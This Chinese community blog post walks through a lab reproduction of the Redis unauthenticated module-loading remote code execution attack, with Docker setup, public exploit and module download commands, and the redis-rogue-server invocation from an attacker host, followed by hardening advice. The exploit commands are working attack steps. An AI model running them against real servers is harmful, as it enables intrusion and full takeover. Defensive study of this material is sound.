文章源自【字节脉搏社区】
作者-microworld
扫描下方二维码进入社区:
漏洞概述
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。作为一个高性能的key-value数据库,Redis在部分场景下对关系数据库起到很好的补充作用。
2019年7月7日,LC/BC的成员Pavel Toporkov在WCTF2019 Final分享会上介绍了Redis新版本的远程命令执行漏洞的利用方式。由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。
影响版本
Redis 2.x,3.x,4.x,5.x
环境搭建
靶机:ubuntu(192.168.232.170)
攻击机:kali(192.168.232.129)
使用docker拉取redis镜像:
docker pull redis:5.0.0
启动:
docker run -itd --name redis-test -p 6379:6379 redis:5.0.0
测试是否启动成功:
漏洞检测
下载exp到本地:
git clone https://github.com/LoRexxar/redis-rogue-server.git
下载执行模块:
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git
然后将该模块编译:make
在当前目录下会生成一个module.so
将其复制到redis-rogue-server
目录下并改名为exp.so
在攻击机上执行命令:
python3 redis-rogue-server.py --rhost 192.168.232.170 --rport 6379 --lhost 192.168.232.129 --lport 23333
成功利用如下图:
也可以选择redis远程连接:
修复方式
1、禁止外部访问Redis 服务端口;
2、禁止使用root权限启动Redis服务;
3、配置安全组,限制可连接Redis服务器的IP。
建议使用Redis数据库的信息系统运营者进行自查,发现存在漏洞后,按照临时解决方案及时进行修复。
参考链接:
https://s.tencent.com/research/bsafe/755.html
https://github.com/LoRexxar/redis-rogue-server
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf